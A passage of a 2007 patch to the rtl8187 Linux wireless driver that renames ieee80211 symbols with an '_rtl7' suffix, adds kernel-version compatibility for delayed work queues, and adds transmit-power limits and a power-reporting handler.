is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-04-23 00:08:11.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-04-23 00:08:15.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-04-23 00:08:11.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-04-23 00:08:15.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-04-23 00:08:11.000000000 +0200 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,147 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); - + return ret; - } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +226,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +259,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +283,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +307,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +326,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +378,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +409,7 